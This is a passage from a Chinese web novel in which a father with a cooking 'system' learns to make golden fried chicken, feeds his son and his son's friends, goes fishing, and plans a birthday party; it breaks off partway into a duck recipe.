现在回去做饭肯定来不及，在其他家长都走后，楚易文看着几个孩子问：“你们晚上是吃食堂还是出去外面吃？” “懒得出去，要不吃食堂算了？”叶其林提议。 胡一齐：“楚爸你要不要尝尝我们学校食堂的饭菜？” “可以吗？” “当然可以。” 见楚易文有兴趣，楚瑾钰四人直接带他去食堂。 “楚爸你坐，我们去打饭。” 等到食堂，四人让楚易文占位置，他们则是分别去几个窗口排队。别说，好久没体验过在食堂排队的感觉，几人感觉还有点不适应。 楚易文坐在椅子上，望着食堂里抢着排队的学生，还有打打闹闹着从食堂门口跑进来的学生们，感受到扑面而来的青春气息。 真好…… 望着食堂里年岁正好的学生们，看着那一张张笑脸，楚易文心里有些怀念自己曾经的读书生涯。 “叔叔好，叔叔你今天在食堂吃饭吗？” 余思语和同桌打完饭过来，就看到楚瑾钰爸爸，边打招呼边在隔壁桌坐下。 “对，你们食堂饭菜味道怎么样？”楚易文记性不错，认得这是儿子的同班同学，声音温和地问。 余思语还没开口，她同桌先道：“还行吧，不算难吃，不过没叔叔你做得好吃，之前楚瑾钰他们每次在教室里吃饭时，香味简直能馋死人。” “真是不好意思了，之前忘记提醒楚瑾钰，让他不要在教室吃饭。”楚易文歉意道。 “没事，我们学校没有不许在班上吃饭的硬性规定。” 她话落，余思语跟着点头：“对啊，而且叔叔你做的菜特别香，残留的味道只是有些馋人，并不难闻。” 说话的功夫，楚瑾钰他们打完饭过来，放到餐桌上道：“爸，今天有红烧排骨，算是我们食堂最好吃的菜，虽然没你烧得香，但你可以尝尝。” “好。”楚易文点点头，拿起筷子尝了口红烧排骨。 排骨吃起来咸鲜酥烂，就是有稍微点柴，汤汁调味偏咸，不过作为食堂大锅菜，整体味道已经还可以。 听到他给出“还行”的评价，胡一齐边啃排骨边说：“没有楚爸你做的红烧排骨一半好吃。” 叶其林赞同地点头，指着餐盘里的煎豆腐道：“豆腐也没楚爸你做的好吃，表皮都没有煎焦，里面更是一点没入味，吃起来寡淡得很。” 在几个孩子挑剔的声音中，楚易文将每样菜都尝了一遍，觉得虽然不是特别好吃，但也没到难吃的地步。 一顿饭结束，吃得最多的反而是楚易文，他见几个孩子都只吃平常一半的饭量，关心道：“你们吃饱了吗？” “吃饱了，下午啃了楚爸你带的牛肉干，不是很饿。”胡一齐说。 晚餐结束，楚易文又跟他们一起在学校操场散会步，随即才开车回家。 到家后他想到儿子晚饭吃得不多，从冰箱里翻出牛肉，决定炖个牛肉汤给他晚上回来喝。 于是等到楚瑾钰下晚自习回家时，打开门就闻见一股鲜美的牛肉汤气息。 “爸，你炖汤了？” “对，炖了牛肉汤。” 楚易文边说边将汤从厨房端出来，喊他去洗手喝汤。 清炖牛肉汤讲究汤清味醇，清澈的汤里卧着几块被炖得晶莹剔透的白萝卜，浅褐色牛肉和萝卜的颜色搭配在一起，看着就令人很有食欲。 楚瑾钰这会正有些饿，匆匆洗完手就坐下来，握着勺子迫不及待喝两口汤。 汤汁入口，清甜鲜美的滋味瞬间在味蕾上蔓延开来，浓郁的肉香和来自白萝卜的清甜，令人回味无穷。 “还是爸你炖的汤好喝。” 楚瑾钰说完直接端起碗，咕噜咕噜把汤喝掉一半，随即开始吃萝卜和牛肉。萝卜已经被炖得软糯通透，轻轻一咬就在嘴里化开，吸收牛肉汤精华的萝卜清甜中带着咸鲜味，吃起来特别可口。 牛肉被炖得很软烂，瘦肉部分酥而不柴，肥肉和带筋的地方软糯中带着胶质感，吃起来别有一番滋味。 清淡却不寡淡的牛肉汤很适合晚上加餐吃，楚瑾钰连吃两碗，不光把汤喝干净，连白萝卜和牛肉也都吃完，感受着胃里传来的饱腹感和嘴里的余味，他脸上露出满足的表情。 “明天想吃什么？” 楚瑾钰不答反问：“想吃什么都可以吗？” “老师今天表扬你了，奖励你随便点菜的权利，你想吃什么爸都给你做。” “我有点想吃炸鸡。”楚瑾钰说完仰头看向他，“爸，你会做炸鸡吗？” 由于下午没吃多少饭，第二节晚自习时他就饿了，等放学从学校出来时，直接被外面卖炸鸡的摊子给馋到。 自从他爸开始做饭后，楚瑾钰很少在外面吃东西，好久没吃炸鸡这种不健康食品，还挺馋。本来他准备买一份尝尝，然而等走过去时就看到炸鸡用的油颜色深到发黑，瞬间就失去食欲。 校门口那个炸鸡摊子他是不想吃，但炸鸡他却是越吃不到越有些馋。 炸鸡楚易文还真不会做，就在他微愣时，系统声突然响起。 【叮~作为未来厨神，怎么能对食客说不会，临时任务——掌握黄金炸鸡的做法，任务倒计时三十分钟，请宿主尽快进入小厨房。】 没想到关键时刻系统还挺给力，楚易文听到系统声瞬间自信就上来，对着儿子点头：“会，那明天中午给你做炸鸡？” “爸你真厉害！”听到他爸竟然连炸鸡都会做，楚瑾钰发自内心感到佩服，同时高兴地直接站起来。 看到儿子那亮晶晶的小眼神，楚易文背都挺得更直，下定决心待会回房间一定要好好学习，争取做出令儿子惊艳的美味炸鸡。 等到父子二人分别回各自的房间后，楚易文直接进入系统厨房开始学习，楚瑾钰则是忍不住在群里跟胡一齐几人卖关子。 【你们猜猜，明天我爸会做什么好吃的？】 胡一齐【难道是红烧排骨？】 叶其林【我不猜，反正明天就能知道。】 商时贸【炸鸡？】 第45章 黄金炸鸡 楚瑾钰没想到商时贸竟然猜到, 直接从床上坐起来，啪啪啪按手机【你怎么知道？在我家装监控了？】 商时贸【放学你不是想买炸鸡吃，又嫌不干净, 一猜就能猜到。】 胡一齐【怪不得你能考第五名！】 胡一齐【楚爸做的炸鸡肯定好吃！一整个期待住！】 就在群里他们几个在期待明天的炸鸡时，楚易文已经进入系统厨房开始学习中。 黄金炸鸡想要好吃，首先是灵魂风味——炸鸡的腌料制作。他按照老爷子给的配方，将孜然、盐、麻椒、花椒、芝麻按照比例搅拌在一起，随即将其碾碎，一股麻辣辛香的气息瞬间就弥漫开来，散发出诱人的复合香气。 将香料碾好, 楚易文又往里面加入不少辣椒粉放到旁边备用，转身拿起已经处理好的鸡加生抽和腌料进行揉搓。 鸡肉至少要腌制两个小时以上，等待的时间他没有闲着, 顺手拿面粉和淀粉把待会要用的裹粉调出来备用。 等到鸡肉腌制好，楚易文按照老爷子交代的“三按三抖”手法，将鸡肉按进炸鸡粉中滚一圈, 再拎起来抖掉多余的粉，如此反复, 直到整只鸡表面裹上薄薄一层，开始起锅烧油。 油温到七层热时，他将裹好粉的鸡下入锅中，瞬间就传来一阵滋滋油声, 随着焦香从油锅里冒出来，炸鸡表面逐渐变成金黄色。 小火慢慢将整鸡从外到里炸透，楚易文将炸鸡捞出来，等到八成油温时还是复炸。 大火复炸不光能让炸鸡颜色更加漂亮，还能逼出多余油脂, 让炸鸡变得更加酥脆。等到他再次将炸鸡捞出来时，表面已经变成略深的金黄色，鸡肉上那薄薄一层面衣被炸出漂亮的鱼鳞片裂纹。 炸鸡做好，楚易文下意识转头看向老爷子，从他没什么表情的脸上察觉出淡淡的不满意，很是识趣地没让他品尝，而是自己撕下鸡腿吃起来。 鸡腿表面那层面衣咬上去时特别酥脆，内里鸡肉则是鲜嫩多汁还入味，他咀嚼着香喷喷的炸鸡，自我感觉挺不错，不比外面卖的差。 老爷子本来懒得说他，可在看到他那副自我感觉良好的表情时，却是瞬间忍不住：“跟你强调过多少遍炸东西时要注意油温和火候，还有你刚刚裹粉的手法，我是这么教你的吗？学了那么久，真是学到狗肚子里去……” 将他刚刚做炸鸡的过程从头到尾喷一遍后，老爷子挽起袖子亲自动手。 从腌料的调配到开始腌制食材，从给炸鸡裹粉到下锅油炸，同样的流程，老爷子做起来每个步骤都完全不用思考，自然而然到好像已经做过千万遍一样，行云流水间一份好像散发着金光的炸鸡就出锅，摆在盘中那完美的形状，诱人的色泽，简直像是艺术品。 哪怕不是第一次看老爷子下厨，楚易文还是忍不住发出惊叹，觉得这才是名副其实的厨神，能轻描淡写间做出如此色香味俱全的美食。 他伸手轻轻扯下一个鸡腿，刚上手就听到面衣发出的“咔嚓”声，等到一个完整的鸡腿出现在他手上时，鸡腿上金黄色面衣特别完整，既没有多出一片，也没有少。 没有对比就没有伤害，同样是炸鸡，他刚刚吃自己炸的那份时，鸡腿刚扯下来，整只鸡身上的面衣就被破坏，皮肉分离，看起来卖相瞬间就减分不少。 楚易文望着手里这个面衣完整，表面色泽金黄，内里却是微微溢出汁水，散发出极致香味的炸鸡腿，迫不及待咬上去。 鸡腿表面那层薄脆发出“咔嚓”声，吃起来焦香无比，鸡肉鲜嫩多汁，一口下去，外酥里嫩的双重滋味，以及麻椒的麻、辣椒面的微辣、孜然的辛香在口腔里蔓延，好吃到他眼睛都微微放光。 楚易文被炸鸡的味道给惊艳到，只感觉这辈子都没吃过这么香，这么好吃的炸鸡，好吃到他甚至不知道怎么用语言去形容。非要说的话，大概就是炸鸡香味直击心灵，好吃到他心坎里去。 干粉式的炸鸡跟面糊式比起来，它吸油会更少些，吃起来不容易油腻，满满都是油炸特有的焦香。 楚易文一口接着一口，不知不觉间就吃完整只炸鸡，鸡骨头被他啃得干干净净，吃完他回味着嘴里的余香，甚至还有些意犹未尽。 “吃够没？” 见他完全沉浸在炸鸡的美味，老爷子心里有些自得，嘴里却是淡淡提醒。 “老师你做的炸鸡真是绝了！” 楚易文下意识用起胡一齐几人夸赞他做菜时的形容，觉得自己但凡能学到个六七分，绝对能惊艳到自家儿子。 他夸完，那股想要做好炸鸡的劲头上来，表情瞬间都认真不少，重新开始从头做起。 油锅里滋滋油声响了不知道多久，中间有几次他甚至还不小心被溅出来的油给烫到，还好这里是系统厨房，他能免疫伤害，否则手背怕是要起好几个水泡。 刚开始做炸鸡时，楚易文还觉得很香，随即一次又一次重复，原来诱人的焦香对他来说，渐渐变成有些油腻的香味。 炸整鸡的火候和炸鸡腿、鸡翅不同，他不光要学整鸡的炸法，还要学习炸鸡腿和鸡翅。 重复的事情最是磨人，在老爷子的高要求下，努力将每个细节都尽量做到最好的楚易文开始感到有些疲倦。这种疲倦不是来自身体，而是精神层面。 在他又炸出一份炸鸡时，老爷子伸手扯下个鸡翅，见面衣完整保持在鸡肉上，张嘴品尝后说：“这次炸的还行。” 终于等到这句话，楚易文心里长松一口气，就在他以为终于不用继续闻炸鸡的油烟味，可以解放时，面前场景却是瞬间转变。 什么情况？ 楚易文发现自己没有回到房间，而是来到小饭馆时，整个人都有些没反应过来。 就在他以为是系统出bug时，系统声响起【叮~炸鸡订单+1 请宿主尽快出餐！】 不是，我没说要到小饭馆练习…… 楚易文想要退出，然而根本没办法离开，无奈之下他只能开始制作炸鸡。 “什么鬼炸鸡，太难吃了！差评！” 第一份炸鸡从厨房传菜口送到前面大堂后没多久，外面传来顾客的骂声。 由于被系统搞得有些不爽，刚刚那份炸鸡楚易文做得确实有些敷衍，闻言他没吱声，而是拿出专注的态度开始做第二份。 第二份炸鸡新鲜出炉后，得到“还不错”的评价，随即接二连三的炸鸡订单在系统的提醒声中朝楚易文扑过来。 感觉自己即将变成一个无情炸鸡机器的楚易文开始不停炸鸡、炸鸡还是炸鸡。 “盐不要钱吗？做得那么咸！” “太油了！不好吃！” “会不会做炸鸡？要卖相没卖相，要味道没味道。” 以前小饭馆模式时顾客话并没有那么多，此时听到接二连三有顾客挑剔，哪怕知道他们只是npc，楚易文还是忍不住反驳：“怎么别人不觉得咸，就你觉得？口淡好歹提前备注一下……” 反驳完个别挑剔的顾客，他又忍不住喊系统，想要知道怎么样才能离开，然而系统跟死了一样根本不理他。 垃圾系统！ 楚易文在心里骂完，只能按照那些挑剔顾客的口味给他们重新做。 “嗯，不错，这金灿灿的颜色才配得上黄金炸鸡的名字。” “外壳酥脆，鸡肉鲜嫩多汁，好吃！” 黄金炸鸡还有个秘诀，那就是“耐心”，耐心去调配香料，耐心等待鸡肉的腌制，耐心守在油锅前把握最佳的油温。 如果说在系统厨房时他是在跟老爷子学习做法，那么小饭馆里挑剔的顾客则是逐渐磨出他这份耐心。 楚易文情绪从带着几分燥意到逐渐沉稳下来，随着那几个挑剔的顾客们开始转变口风，他心里生起满满的成就感。 就在他已经开始忘记时间，完全沉浸在炸鸡的制作中，甚至有点到达忘我境界时，又一份炸鸡从油锅里被捞出来，在浮出油面那瞬间，似乎绽放出一瞬间的金黄。 楚易文下意识眨眼，等定神再看时并没有看到什么金黄，但炸鸡那金灿灿的颜色，看起来像黄金一样漂亮。 当炸鸡从传菜窗口被送出去后，很快传来惊呼：“哦！我的天哪！这就是传说中的黄金炸鸡吗？简直是人间美味！” 楚易文听到有些夸张的称赞，唇角不自觉上扬，与此同时系统声响起【叮~恭喜宿主完成任务，获得称号——炸鸡小能手。】 神TM炸鸡小能手！ 平常性格比较稳重的楚易文想到一晚上做了不知道多少炸鸡，就得到这么个莫名其妙的称号，实在没忍住爆了句粗口。 从小饭馆出来后，他还是想骂系统，觉得系统简直有毛病，他只是给儿子做炸鸡而已，又不是要去开炸鸡店，至于那么折腾他。 这天晚上，楚易文睡着时都还忍不住在梦中咒骂系统，次日罕见地起晚了。 等他起床时，儿子已经去学校，他干脆出去随便吃了点早餐，随即去买鸡。 由于炸鸡腌制时间长，楚易文买完食材回来就立刻动手调配香料把鸡先腌上。昨晚小饭馆里的经历确实很折腾人，但也锻炼出他的炸鸡经验，此时做起炸鸡来已经有几分行云流水般的流畅感。 他在家里忙活时，学校里楚瑾钰几人特别期待，下课时都忍不住凑在一起讨论炸鸡。 “炸鸡刚炸好时最香，我们今天一起回你家吃吧！”胡一齐提议。 楚瑾钰点头：“好。” 他们计划得很好，然而计划赶不上变化快，最后一节课时数学老师卷子没讲完，竟然留堂。 “靠，真是服了，下节课再讲不行吗？”胡一齐眼见放学铃声已经过去五分钟，忍不住小声抱怨。 不光是他，眼见时间一分一秒过去，班上好多同学都开始感到烦躁起来，压根听不进去数学老师讲的内容。 然而数学老师却像是感受不到教室里逐渐浮躁起来的气氛一样，坚持把卷子讲完才下课，此时离放学时间已经过去十五分钟。 “真是服了……” 等数学老师前脚离开，后脚就有学生直接抱怨出声，同时撒腿往教室门外跑。 “这个老登，太过分了！”胡一齐边骂边拉着楚瑾钰催道，“赶紧走赶紧走，待会炸鸡冷了就没那么香……” 本来商时贸不想跑，被他们带着，只能跟着小跑起来。 他们本来准备一路跑回楚瑾钰家去，结果刚到学校门口就听见熟悉的声音：“瑾钰，这里。” “爸！” “楚爸！” 几个孩子脚步一转，直接朝他跑过去。 楚易文将几个孩子领到路边，指着敞开的车门道：“我看你到点还没回家，直接把炸鸡拿过来。” “都怪数学老师那个老登拖堂……好香啊！”胡一齐抱怨的话还没说完，就被炸鸡霸道的香味扑了满脸，瞬间什么“拖堂”、“数学老师”都被抛之脑后，此时心里只剩下“想吃”两个字。 叶其林：“好香啊！楚爸你做的炸鸡为什么这么香！” 炸鸡被楚易文装在敞开的一次性餐盒里，底下还垫着吸油纸，散发出浓郁霸道的香气。这股香味主调是焦香和肉香，其中还夹着花椒麻椒的麻香，辣椒粉的辛辣香味，以及来自芝麻的坚果香。 都不用楚易文动手，几个孩子飞快从后座上拿出炸鸡，迫不及待吃起来。四月中下旬的天气已经很温暖，刚出锅不久的炸鸡还带着几分烫，咬下去时那外焦里嫩的口感，那咸鲜中带着微微麻辣的滋味，好吃到简直快要上天。 “唔……唔……”胡一齐好吃到都有点说不出话来，只用鼻腔不停发出赞叹声。 终于吃到从昨晚就开始馋的炸鸡，楚瑾钰更是被惊艳到忍不住摇头晃脑。 太好吃了！ 楚瑾钰万万没想到，他爸不光会做炸鸡，还做得如此美味，那酥脆的外壳，那鲜嫩多汁的鸡肉，那咀嚼间逐渐在味蕾上蔓延开来的咸鲜微麻，以及孜然香，好吃到他根本停不下来。 四人吃得头也不抬，嘴巴咀嚼的速度越来越快，每个脸上的表情都带着陶醉与享受。 很快，炸鸡霸道的香味以他们为中心朝四面八方传开，简直能馋死个人。 “好香啊！附近哪里又开炸鸡店了吗？” “我口水都要下来了，不然咱们中午去吃炸□□！” 很快，有学生循着香味找过来，看到楚瑾钰四人站在车旁啃炸鸡，而楚易文弯腰从车里又拿出几份放到车顶上时，直接小跑过来。 “你好，请问炸鸡怎么卖？”显然，这几个学生把楚易文当成来学校门口摆摊的人。 不怪他们会误会，主要学校门口平常就有不少推车过来卖火鸡面、烤肠之类的摊子。开车摆摊虽然有点奇怪，但也不是没有。 楚易文：“我不是卖炸鸡的，是给家里孩子送饭。” 过来询问的学生闻言脸上露出不好意思的表情，然而近距离闻着炸鸡的香味，再看到那诱人的卖相，两个学生有些不死心。 “叔叔，炸鸡是你买的还是自己做的？” 楚易文：“自己做的。” “叔叔，你做的炸鸡好香，真不能卖一份给我们吗？” “不行，我们自己都不够吃。” 楚易文还没开口，胡一齐生怕他答应，赶紧抢着拒绝。 两个学生只能失望地离开，不过走出一段距离后却是忍不住羡慕：“同样是爸，为什么人家爸连炸鸡都会做，而且还做得那么香简直就是神仙老爸！” “更令人羡慕的是，那个爸爸他竟然愿意做炸鸡给孩子当饭吃！不像我家里人，只要看到我吃炸鸡就要念叨说不健康。” 羡慕的何止这两个学生，很快又有不少学生以及路过的人被香味给吸引，有人好奇看两眼就离开，有人却是忍不住上前询问。 在得知炸鸡是楚易文自己做的时，不论是路人还是学生都用羡慕的眼神看向楚瑾钰四人，觉得他们简直太幸福了。 “站着不累吗？”楚易文见几个孩子连拿进学校里面吃都等不及，站在原地就吃个不停，从后备箱里翻出折叠椅和钓鱼用的水箱让他们坐着吃。 楚瑾钰已经吃了两个炸鸡腿，一个炸鸡翅，此时边坐下来边夸：“爸你以前是不是背着我去开过炸鸡店？你做的炸鸡也太好吃了！比外面卖的炸鸡还要香一百倍！” 他话落，胡一齐跟着点头：“楚爸你这手艺简直绝了，我感觉以前吃的都是假炸鸡，那些什么韩式炸鸡、美式炸鸡，跟你做的比起来，简直不是一个档次。” 学校附近有好几家韩式炸鸡店，平常他们吃着经典口味的韩式甜辣炸鸡感觉还不错。但此时此刻，吃着嘴里外焦里嫩，咸鲜微辣的炸鸡，他们才知道什么是真正的美味。 楚易文做的炸鸡没有用面包糠，看似质朴的简单裹粉，却带来极致的焦脆。各种香料腌制入味的鸡肉，味道和香气都特别有层次感，完美的火候把握，让炸鸡内外的口感都达到最佳。 “喝点雪梨汤解解腻。”楚易文见儿子夸完就迫不及待继续吃起来，拿出特意在家里煮的冰糖雪梨倒在杯子里。 炸鸡好吃到容易上火，他配个冰糖雪梨，显然是考虑到这方面。 叶其林听到解腻两个字，立刻开口：“楚爸你做的炸鸡一点都不腻，纯香，太好吃了。” “你们喜欢吃就好，旁边还有辣椒面和椒盐，要是嫌味道不够，可以自己撒点。” “不用加，已经很好吃了，楚爸我觉得你这手艺，要是在学校门口开家炸鸡店，其他炸鸡店绝对都能关门大吉。”胡一齐说完又咬一口，指着鸡腿上那层薄脆道，“尤其是外面这层壳，又焦又香又脆，感觉直接吃都特别美味。” 他们正吃着时，忽然有只橘猫跑过来，先是在楚瑾钰腿边打着圈转悠，见他没反应，开始边夹着嗓子发出“喵呜”声边用脑袋蹭他。 炸鸡实在太香，楚瑾钰刚开始真没注意到自己脚边来了只猫，直到感觉腿上传来的力度，低头就看到只圆乎乎的猫脸。 “你想吃？” “喵呜~” 拉长声的猫叫响起，引得胡一齐三人跟着低头看过来，就在楚瑾钰撕下一点点鸡肉丢到地上时，胡一齐认出这只胖橘猫。 “嘿，你还有两副嘴脸，上次我想摸你时，你可不是这么叫的！” 胡一齐想到上次它朝自己哈气的凶相，觉得简直是判若两猫。 凭卖萌骗到鸡肉的橘猫低头吃着，喉咙里发出愉悦的呼噜声，压根不搭理他。 胡一齐见此，直接蹲在橘猫面前，将手里啃到一半的鸡腿在它面前晃悠：“想吃吗？想吃吗？就不给……” 他话还没说完，经不住诱惑的胖橘猫望着面前的鸡腿，直接张嘴咬上去，抢到就跑，一溜烟的功夫就消失在胡一齐面前。 “哈哈哈哈，让你没事逗猫玩，翻车了吧？”楚瑾钰看到他吃瘪的表情，直接笑出声。 香喷喷的炸鸡何止能吸引猫，还能吸引过来小孩，有个两三岁左右的小朋友迈着小短腿跑过来，孩子家长想拦都没拦住。 “哥哥，窝可以换肉肉吗？” 小朋友举着手里玩具，一副“我不白吃，跟你换”的表情，看起来别提多可爱。 “不好意思，小孩嘴太馋了，请问你们的炸鸡是在哪买的？”孩子家长追过来，伸手将快要扑到别人腿上的孩子抱起来。 楚瑾钰：“是我爸自己做的，外面没地方买，给。” 他声音里透出几分骄傲，说完将一个鸡腿递到小朋友面前。 家长看到自家孩子丢掉玩具，眼疾手快地抓住鸡腿塞进自己嘴里，想阻止都没来得及，只能不好意思地连连道谢。 “尊好次呀！”小朋友两只手捧着鸡腿，好吃到摇头晃脑，连脚都不自觉在半空中晃悠起来，那副吃到美食的快乐模样，特别感染人。 第46章 黑鸭煲 等到小朋友啃完炸鸡腿被家里人抱着离开时, 楚瑾钰四人很快将剩下炸鸡吃完。 “太好吃了！爸，晚上我还想吃炸鸡。”楚瑾钰肚子已经吃得很撑，但回味着嘴巴里的余香, 却是感觉没吃过瘾。 胡一齐立刻附和：“楚爸，我晚上也还想吃炸鸡。” “哪能顿顿吃炸鸡，晚上该吃饭了。”楚易文语气透着不赞同。 叶其林捧着冰糖雪梨水喝着，嘴里那股来源自炸鸡的焦香被冲淡不少，同时有种从喉咙滋润到胃里的感觉。 他喝完立刻开口：“楚爸，那晚上吃饭，可以炸点鸡翅鸡腿当菜吗？” 炸鸡得到孩子们的喜爱, 楚易文心里还是很有成就感的，但也不能让他们连着吃两顿。 “晚上你们好好吃饭，过两天我再做炸鸡。” 楚易文说完就收拾东西离开, 回家时将中午拍的视频剪一下发到网上。 【看起来好好吃的样子，隔着屏幕都感受到炸鸡的酥脆，馋了……】 【你别光做啊！你倒是开店卖啊, 求求你了，来我家楼下开个店吧, 一天天的简直快被你馋死。】 【你不卖你发什么视频，信不信我嘎巴一下死在评论区！】 【妈呀，这炸鸡看着我是真想吃，不行, 我口水都快下来了，点个外卖去。】 【看得出来你在试图教会我，但这我是真学不会啊，鬼知道七成油温是多少度，你直接卖不行吗？或者把你家里地址给我, 我自己过去吃。】 炸鸡本来就是当代年轻人最爱的美食之一，尤其是楚易文经过昨晚磨炼出来的炸鸡手艺，简直隔着屏幕都能诱惑死人。 刷到视频的网友们望着那金灿灿，隐约间像是闪着金光的炸鸡，口水差点没流下来。 楚易文发完视频压根没怎么关注评论区，直接出门钓鱼去。 今天天气不错，不冷不热，坐在河边吹着风钓着鱼，时不时还能撸两把自己送上门的猫，日子简直别提有多悠闲。 早出晚归的工作生涯仿佛还在昨天，楚易文此时回忆起来，觉得现在这种日子才叫生活。 很快随着水面泛起涟漪，有鱼上钩，他不紧不慢收着鱼竿，钓到大鱼装进水箱里，小鱼直接拿来喂猫。 由于下午还得回家做饭，他没钓太长时间，三点左右就收竿回家。 四月底，天气已经开始渐渐变热，很快就要迎来今年的第一次小长假——五一劳动节。 五月三号是楚瑾钰的生日，离假期还有两天时，楚易文挑了个时间询问他生日想怎么过。 “就跟往常一样呗。”楚瑾钰随口道。 老一辈人过生日有个说法，叫“人生一个蛋，狗生一碗饭”，意思是人生日时吃个鸡蛋，狗过生时给碗饭。 不过楚家两位老人还是挺疼孙子，自然不会按照他们以前的标准给孩子过，但还是下意识觉得给孩子吃顿好的就是过生日。因此以前楚瑾钰过生日就是家里人一起吃顿大餐，再给他买个玩具，发个红包。 去年他过生日时两位老人已经不在人世，楚易文当时比较忙，晚上九点才带着蛋糕回家，当时楚瑾钰跟几个好朋友去电竞酒店通宵庆祝，压根没吃到他买的蛋糕。 楚易文想到去年没陪他过成生日，今天肯定得好好庆祝一下：“你有没有想去的地方？我带你出去旅游？” “五一到处都是人挤人，我没兴趣。”楚瑾钰想到每年五一、国庆时，短视频里各个景区的都是人山人海，觉得还不如待在家里。 见他不想出去玩，楚易文道：“那等你生日当天，请你班里同学来家里开party。” 楚瑾钰听到这个提议有点小惊讶：“爸你是不是搞错了？我今年是过十七岁生日。” 十八岁或者二十岁生日大办还挺正常，但十七岁，他感觉有点夸张。 其实以他家条件，就是年年办生日party也不是办不起，只是他从小被爷爷奶奶带大，老人消费观比较朴实，让他即便从小到大不缺零花钱，还是多少有些被影响。 “我知道是过十七岁，正好今年先演练一下，明年等你成年时再好好办个更大的。” 楚易文以前家里条件一般，可就算如此，在他十八岁那年他妈还是杀了家里的鸡，加上花旗参之类的食材，蒸了只整鸡给他吃，他爸则是给了两百块钱红包。 他回忆起自己的十八岁，觉得既然现在有那个条件，当然得给儿子好好过生日。 楚瑾钰听到他爸这么说，心里多少有些高兴，嘴里则是问：“会不会太夸张了，要请多少同学？” “人多热闹，能请多少请多少。” * 第二天是四月三十号，今天结束就要迎来劳动节小长假，学生们到学校时脸上都带着对房间的期待。 楚瑾钰到学校后，先跟胡一齐几人分享了他爸要给他办生日party的事情，随即转头邀请自家同桌：“邵言易，你三号有空吗？我爸让我喊同学来家里给我过生日。” 性格加上家庭的双重原因，邵言易在班里看似和大家关系都还行，实际上并没有什么特别要好的朋友。随着这学期和楚瑾钰成为同桌，两个人关系明显亲近不少，听到他开口邀请，邵言易犹豫几秒，想到奶奶跟他爸认识，还没少夸对方，最终还是答应。 就在楚瑾钰想着还要邀请谁时，旁边有同学听见他问邵言易的话，有几个平常跟他一起打篮球的男生立刻道：“楚瑾钰，你生日都不邀请我们吗？” “你们要来吗？”楚瑾钰问。 “当然！” “楚瑾钰，我可以去吗？” “我也想去……” 听到楚瑾钰要办生日party的消息，班里瞬间热闹起来，同学们都表现出对他生日party的兴趣。 “你们想来就来呗，都欢迎。”楚瑾钰说完，顺便报出自己家里的地址。 “好耶！” “提前祝你生日快乐！” 听到他来者不拒，有些不好意思开口询问的同学脸上都露出笑容。 班主任在教室外就听见班上闹成一片，快步走进来：“还没开始放假，你们吵什么吵得这么热闹？” “楚瑾钰他三号过生日，邀请我们去他家。” “你们全都去？”班主任好奇道。 “对啊。” “当然！” “没看出来，你在班上人缘这么好……”班主任看着楚瑾钰开了句玩笑，随即就开始上课。 终于放学后，楚瑾钰拎着书包回到家，跟他爸说：“同学们都说要过来参加我的生日。” “全部？”楚易文有点小惊讶，下意识想到邵言易。不过想到从他离开公司起，一切都与梦中不同，又觉得自己没必要太在意对方。 “那你人缘还挺好。” 听到这话，楚瑾钰撇撇嘴道：“拉倒吧，他们哪是跟我关系好，是早就觊觎你的手艺，今天在学校里，好多人都问我生日时你会不会下厨。” 楚易文万万没想到是这个原因，一时有些哭笑不得。 “没事，这学期结束，再有一年你们就要高考，等毕业后天南地北的再想见面就难了，现在一起聚聚也挺好，也算是美好的回忆。” 离高中毕业还有一年多，楚瑾钰还体验不到毕业季的离别，听到他爸宽慰的话，只随意点点头。 他五一不乐意去景区人挤人，但很多家庭在小长假都有旅行计划，光是他班上同学就有大约一半假期要出去玩。 为了参加他的生日会，家里有出行计划的同学回家都直接跟父母说，五一不要出去玩。 有家长乐得清闲，直接答应；有家长已经规划好，甚至票都买好，自然不同意；还有家长询问原因，得知是要三号参加同学生日会，表示可以一号出去，二号下午回来。 放假第一天，楚瑾钰睡懒觉没起床，楚易文就懒得做早餐，随便在外面买了点回来，简单吃过，等他起床后问他要不要一起去钓鱼。 “钓鱼有什么好玩的。”楚瑾钰说是这么说，不过想到上学时他爸天天忙着给自己做一日三餐，难得放假，自己陪陪他也是应该的，最终还是答应。 “喵呜~” “喵~” 二人刚到河边，还没来得及坐下来，四面八方就跑过来好多猫。 看到他爸熟练地拿出猫粮投喂，楚瑾钰：“爸，你到底是来钓鱼还是来喂猫的？” “钓到鱼拿来喂猫，一举两得。”楚易文笑着说。 楚瑾钰听到他爸说的“死亡笑话”，望着河边道：“鱼表示，它们的命也是命，真是谢谢你了。” 开过玩笑，他又问：“爸你喜欢的话，怎么不带回家里养？” “这些猫有人管，属于半散养的猫。” 楚易文最开始也以为它们是流浪猫，去年冬天时担心它们在野外被冻起，起了收养的想法，不过很快他就知道，附近有个猫猫救助中心，这些猫都是住在里面，偶尔自己出来觅食。 他去看过那个地方，打扫得很干净，而且会给猫做绝育，顿时就放下心来，还给那边捐了批猫粮。 父子二人边闲聊边一人一根鱼竿钓着鱼，伴随着从河边水过来的风，画面看起来还挺温馨。 不知是不是新手保护期，楚瑾钰刚钓没多久就有鱼上钩，而且个头还不小。 钓之前他不理解钓鱼有什么好玩，等上鱼后，望着钩上活蹦乱跳的鱼，再瞧见他爸羡慕的眼神，楚瑾钰心里瞬间成就感满满。 明明是新手，他却无师自通钓鱼佬的自我修养，拿出手机对着鱼好一通拍，随即发到群里炫耀。 第一条鱼上钩，很快就是第二条、第三条，乐得楚瑾钰直接转头：“爸，你钓那么久的鱼，还没我会钓。” 他这边有鱼，原本围着楚易文的猫都凑过来，仰头喵喵叫个不停。 “别急，等我拍完照就分一条给你们吃。” 看到儿子嘚瑟的模样，楚易文都懒得说他这是新手保护期。 假期第一天，父子二人就在河边钓鱼度过，午餐都是点外卖送过来，下午则是回家吃鱼。 假期第二天，楚易文提前让人来家里布置环境，并开车出去采购食材。 晚上他把比较费时间的食材都提前处理好，甚至还特意熬了锅高汤备用。 上午买鸭子时，他又刷出来个黑鸭煲的菜谱，上床睡觉时直接开始学习。 黑鸭煲属于新式菜，黑鸭风味就是带着甜辣口的美食，卤味里特别多。 鸭肉腥味比鸡肉要重，去腥很关键，楚易文先用姜片、料酒等去腥调料将鸭肉腌制起来，随即开始调卤料。 高汤打底，加入桂皮、草果等香料进去，将鸭肉放到里面焖煮半个小时以上，等到鸭肉入味时捞出来备用。 等到鸭肉沥干水分，楚易文起锅烧油，先丢入姜片煸炒出香味，随着姜片开始变干变皱，一股辛辣微香的气息从锅底飘出来。 